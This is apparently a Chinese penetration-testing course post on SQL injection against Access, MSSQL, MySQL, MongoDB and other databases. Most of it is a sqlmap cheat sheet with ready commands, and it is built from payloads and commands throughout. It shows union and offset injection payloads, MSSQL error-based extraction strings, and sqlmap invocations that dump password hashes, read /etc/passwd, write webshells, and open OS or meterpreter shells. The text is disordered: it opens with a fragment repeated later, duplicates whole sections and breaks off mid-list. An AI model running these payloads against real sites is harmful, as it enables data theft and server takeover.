--banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用户名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试
sqlmap详细命令
–is-dba 当前用户权限(是否为root权限)–dbs 所有数据库–current-db 网站当前数据库–users 所有数据库用户–current-user 当前数据库用户–random-agent 构造随机user-agent–passwords 数据库密码–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————
Options(选项)
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)保存进度继续跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
Target(目标)
以下至少需要设置其中一个选项,设置目标URL。-d DIRECT 直接连接到数据库。-u URL, –url=URL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。
Request(请求)
这些选项可以用来指定如何连接到目标URL。–data=DATA 通过POST发送的数据字符串–cookie=COOKIE HTTP Cookie头–cookie-urlencode URL 编码生成的cookie注入–drop-set-cookie 忽略响应的Set – Cookie头信息–user-agent=AGENT 指定 HTTP User – Agent头–random-agent 使用随机选定的HTTP User – Agent头–referer=REFERER 指定 HTTP Referer头–headers=HEADERS 换行分开,加入其他的HTTP头–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)–auth-cert=ACERT HTTP认证证书(key_file,cert_file)–proxy=PROXY 使用HTTP代理连接到目标URL–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)–ignore-proxy 忽略系统默认的HTTP代理–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)–retries=RETRIES 连接超时后重新连接的时间(默认3)–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式–safe-url=SAFURL 在测试过程中经常访问的url地址–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息表中的结构和数据此外,您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识–current-user 检索数据库管理系统当前用户–current-db 检索数据库管理系统当前数据库–is-dba 检测DBMS当前用户是否DBA–users 枚举数据库管理系统用户–passwords 枚举数据库管理系统用户密码哈希–privileges 枚举数据库管理系统用户的权限–roles 枚举数据库管理系统用户的角色–dbs 枚举数据库管理系统数据库-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)–tables 枚举的DBMS数据库中的表–columns 枚举DBMS数据库表列–dump 转储数据库管理系统的数据库中的表项–dump-all 转储所有的DBMS数据库表中的条目–search 搜索列(S),表(S)和/或数据库名称(S)-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户–exclude-sysdbs 枚举表时排除系统数据库–start=LIMITSTART 第一个查询输出进入检索–stop=LIMITSTOP 最后查询的输出进入检索–first=FIRSTCHAR 第一个查询输出字的字符检索–last=LASTCHAR 最后查询的输出字字符检索–sql-query=QUERY 要执行的SQL语句–sql-shell 提示交互式SQL的shell
Optimization(优化)
这些选项可用于优化SqlMap的性能。-o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTP(S)连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入)
这些选项可以用来指定测试哪些参数提供自定义的注入payloads和可选篡改脚本。-p TESTPARAMETER 可测试的参数(S)–dbms=DBMS 强制后端的DBMS为此值–os=OS 强制后端的DBMS操作系统为这个值–prefix=PREFIX 注入payload字符串前缀–suffix=SUFFIX 注入payload字符串后缀–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测)
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL 执行测试的等级(1-5,默认为1)–risk=RISK 执行测试的风险(0-3,默认为1)–string=STRING 查询时有效时在页面匹配字符串–regexp=REGEXP 查询时有效时在页面匹配正则表达式–text-only 仅基于在文本内容比较网页
Techniques(技巧)
这些选项可用于调整具体的SQL注入测试。–technique=TECH SQL注入技术测试(默认BEUST)–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS 定列范围用于测试UNION查询注入–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹)
-f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力)
这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列
User-defined function injection
(用户自定义函数注入)
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统)
这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access
(操作系统访问)
这些选项可以用于访问后端数据库管理系统的底层操作系统。–os-cmd=OSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shell,meterpreter或VNC–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-path=MSFPATH Metasploit Framework本地的安装路径–tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。–reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-key=REGKEY Windows注册表键–reg-value=REGVAL Windows注册表项值–reg-data=REGDATA Windows注册表键值数据–reg-type=REGTYPE Windows注册表项值类型这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据–flush-session 刷新当前目标的会话文件–fresh-queries 忽略在会话文件中存储的查询结果–eta 显示每个输出的预计到达时间–update 更新SqlMap–save file保存选项到INI配置文件–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项)
–beep 发现SQL注入时提醒–check-payload IDS对注入payloads的检测测试–cleanup SqlMap具体的UDF和表清理DBMS–forms 对目标URL的解析和测试形式–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果–page-rank Google dork结果显示网页排名(PR)–parse-errors 从响应页面解析数据库管理系统的错误消息–replicate 复制转储的数据到一个sqlite3数据库–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 给初级用户的简单向导界面
思维导图
涉及资源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判断数据库类型
尝试猜字段数,order by 5时网页有回显,所以字段数为4:46604/new_list.asp?id=1 order by 5
Access只是单纯的数据库,只有数据,没有数据库名,数据库版本,操作系统等功能,没有information_shcema。可直接查询数据,获取表名,列名。尝试联合注入查询时没有反应:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)网页出现回显:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回显位尝试猜解字段
使用sqlmap跑出来的结果是一样的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜测出了表名,但是怎么都猜不出列名,使用联合查询法来进行偏移注入
接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数。直接将22改成*号,测试是否回显正常,不正常就一直往前减,一直减少到回显正常为止。
这里运气比较好,直接就爆出了密码。但是还没有用户名呢,那么接下来可以打乱顺序来重置爆出来的结果,这里可以使用下列方法来进行完成。
从图中可以看出已经爆出了用户名为admin了
简单说下语句UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id),首先为什么从union select 1,2,3,4,5,6,* from变成了1,2,3,*呢是这样推导出来的:order by 9代表有9个回显点1,2,3,4,5,6,*代表admin表的字段数只有3个admin表变成了(admin as a inner join admin as b on a.id=b.id)这里是将admin重命名为了a和b两张表然后通过inner join 将a表和b表的id相同字段展示出来a表和b表本来都是admin表所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)这样做的目的就是可以打乱顺序来爆出其它字段但是由于增加了一张表所以字段数得再减少一个*号的长度所以就从6变成了3
3.偏移注入的进阶
这样爆东西非常有随机性如果表的字段比较多而这个显示位又比较少的话是很有可能爆不出自己想要的东西的所以接下来学习偏移注入进阶同样通过order by 和union select找到了表为admin但是还是扫不出列名,这次回显点有22个
测试admin的列的个数,最终长度为6,而且这次什么都没爆出来
开始偏移注入,爆出的结果却是时间
此时可以增加a.id或者b.id或者a.id和b.id一起加上去来打乱随机的顺序,时间确实换了,但是又不是我们想要的,这只是一个数字,可能是id值之类的
查看网页的源代码,会有隐藏的惊喜
发现这里有隐藏起来的回显点,爆出来了用户名为admin,但是还没有密码增加表的个数,修改代码,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代码,成功拿到用户名和密码了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通过pangolin获取所需数据:
还可以进行命令执行和文件管理
key
##手工注入判断是否是Mssql判断是否是mssql数据库,返回正常,说明该数据库是mssql
判断数据库版本号,返回正常,说明版本号正确
判断字段长度order by 4正常,遍历至5时报错,说明字段长度为4
寻找字符型显示位:44626/new_list.asp?id=-2 union all select null,null,null,null这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段,在这个靶场使用 union select 是不行的,所以用 union all。使用null 是说明它无关是字符型还是数字型
猜测显示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查询相关信息获取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
获取数据库名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
获取当前用户名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查询表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名
announcement之后还是manage,说明就这俩表
获取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名
这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查询出来第二个列名是 username,我们继续查询第三个列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
获取数据:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判断数据库种类
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后输入x返回,输入4进入
往期内容回顾
大哥大哥行行好
一万字也不算少如有帮助请随意打赏
查看全部
渗透测试培训Day14 SQL注入之Oracle,MongoDB等注入
我喜欢一个人
就像喜欢一阵风
藏在你心里
习桑前言
SQL作用在关系型数据库上面什么是关系型数据库?关系型数据库是由一张张的二维表组成的 常见的关系型数据库厂商有 MySQL、SQLite、SQL Server、Oracle 由于MySQL是免费的 所以企业一般用MySQL的居多 Web SQL是前端的数据库 它也是本地存储的一种 使用SQLite实现 SQLite是一种轻量级数据库 它占的空间小 支持创建表,插入、修改、删除表格数据 但是不支持修改表结构 如删掉一纵列 修改表头字段名等 但是可以把整张表删了 同一个域可以创建多个DB 每个DB有若干张表。与数据库产生交互就有可能存在注入攻击不只是MySQL数据库还有Oracle,MongoDB等数据库也可能会存在注入攻击
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
简要了解各数据库
Access,Mysqlmssql(Microsoft SQL server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 数据<br />Access数据库保存在网站源码下面自己网站数据库独立存在所以无法进行跨库也没有文件读写的操作
除了Access其他数据库组成架构基本都是大同小异。<br />mysql mssql等数据库名A 表名列名 数据 数据库名B。。。。。。<br />每个数据库功能不同,我们采取注入的时候攻入方式不同<br />什么决定网站注入点用户权限?数据库配置文件的用户,是谁连接的
Access偏移注入
如果遇到列名猜解不到的情况,则可以使用Access偏移注入原理<br />借用数据库的自连接查询让数据库内部发生乱序从而偏移出所需要的字段在我们的页面上显示用途<br />解决知道Access数据库中知道表名,但是得不到字段的sql注入困境特点<br />a. 成功与否看技巧与运气,不能保证100%成功。b. 无需管理员账号密码字段,直接爆账号密码利用条件<br />a. 已知管理表名b. 已知任意字段(一个或多个会增加机率,最常见的就是id)影响偏移注入成功因素<br />a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)b. 当前注入点的脚本内查询的表内的字段数越多越好流程<br />a. 判断字段数b. 判断表名c. 开始偏移注入<br />
本地Access偏移注入靶场
偏移量就是逐步增加或递减直到出现结果。*表示可代替的字符串用*代替22,返回界面依旧报错然后用*代替21,依次递减22-16=6,6表示该表中的列名个数
*代表6个,后面一串字符代表两倍,就相当于2倍*,12个
爆列名数据
一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二级偏移,3倍*,所以为18个
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
或者看登录框表单值
SQL server/MSSQL注入
7.1介绍
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
7.2过程
①判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version--这个语句要在有回显的模式下才可以哦and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明:dbid从1-4的数据库一般为系统数据库.
⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥获取当前数据库
and db_name()>0and 1=(select db_name())--
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--一次性爆N条所有字段的数据(只限于mssql2005及以上版本):and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各数据库手工注入
MySQL:1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错,获取字段总数为43.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息4.获取数据库信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤<br />Access:1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符,ASCII转码 admin_mz猜解password第1到16位的字符,ASCII转码(Burp 爆破)转ASCII的py脚本:72e1bfc3f01b7583 MD5解密为97285101<br />SQLite:1.找注入点 and 1=12.order by N 猜字段 43.猜数据库offset ==>0~2有三个数据库:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3个字段:id,name,password5.脱裤<br />MongoDB:1.id=1′ 单引号注入报错2.闭合语句,查看所有集合3.查看指定集合的数据[0] 代表第一条数据,可递增<br />DB2:1.and 1=2 判断注入点2.order by N 获取字段数3.爆当前数据库GAME_CHARACTER4.列表NAME5.脱裤<br />PostgreSQL:1.and 1=2 判断注入点2.order by N 获取字段3.爆数据库4.列表5.列字段6.拖库<br />Sybase数据库:1.and 1=2 判断注入点2.order by N 获取总字段3.爆数据库4.列表5.列字段6.查状态结果为:zhang7.反选爆用户名结果为:mozhe8.猜解密码<br />Oracle:1.and 1=12.order by3.爆数据库4.列表5.列字段6.拖库加上状态:1 where STATUS=1
简要学习各种注入工具的使用指南
熟悉工具的主持库,注入模式,优缺点等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap简介sqlmap支持五种不同的注入模式:
1、基于布尔的盲注即可以根据返回页面判断条件真假的注入2、基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注即页面会返回错误信息或者把注入的语句的结果直接返回在页面中4、联合查询注入可以使用union的情况下的注入5、堆查询注入可以同时执行多条语句的执行时的注入
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQLMicrosoft SQL ServerMicrosoft Access, IBM DB2SQLite, Firebird,Sybase和SAP MaxDB
检测注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默认使用level1检测全部数据库类型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap基本操作
基本操作笔记:
-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p "page,id")-D "" #指定数据库名-T "" #指定表名-C "" #指定字段-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)--level=(1-5) #要执行的测试水平等级,默认为1--risk=(0-3) #测试执行的风险等级,默认为1--time-sec=(2,5) #延迟响应,默认为5--data #通过POST发送数据--columns #列出字段--current-user #获取当前用户名称--current-db #获取当前数据库名称--users #列数据库所有用户--passwords #数据库用户所有密码--privileges #查看用户权限(--privileges -U root)-U #指定数据库用户--dbs #列出所有数据库--tables -D "" #列出指定数据库中的表--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段--dump-all #列出所有数据库所有表--exclude-sysdbs #只列出用户自己新建的数据库和表--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系统(Linux,Windows)-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容--privileges #查看权限--is-dba #是否是数据库管理员--roles #枚举数据库用户角色--udf-inject #导入用户自定义函数(获取系统权限)--union-check #是否支持union 注入--union-cols #union 查询表记录--union-test #union 语句测试--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交数据(--data "page=1&id=2")--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺骗(--referer "http://www.baidu.com")--user-agent "" #自定义user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定关键词,字符串匹配.--threads #采用多线程(--threads 3)--sql-shell #执行指定sql命令--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)--file-dest #要写入的文件绝对路径--os-cmd=id #执行系统命令--os-shell #系统交互shell--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #读取win系统注册表--priv-esc #--time-sec= #延迟设置 默认--time-sec=5 为5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用户名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
